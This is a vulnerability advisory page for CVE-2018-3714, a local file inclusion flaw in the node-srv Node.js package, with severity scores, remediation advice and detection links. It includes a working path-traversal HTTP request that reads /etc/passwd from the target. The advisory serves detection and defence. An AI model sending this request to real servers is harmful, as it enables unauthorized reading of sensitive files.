🔙 목록으로 돌아가기

CVE-2018-3714: node-srv - Local File Inclusion

Titlenode-srv - Local File Inclusion
Authormadrobot
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationApply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.
CVSS Score6.5
EPSS Score0.74418
CVE IDCVE-2018-3714
CWE IDCWE-22
Tags cve cve2018 nodejs lfi hackerone node-srv_project node.js vuln

🔍 Vulnerability Description

node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.

🌐 HTTP Request

GET /node_modules/../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-3714.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-3714.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A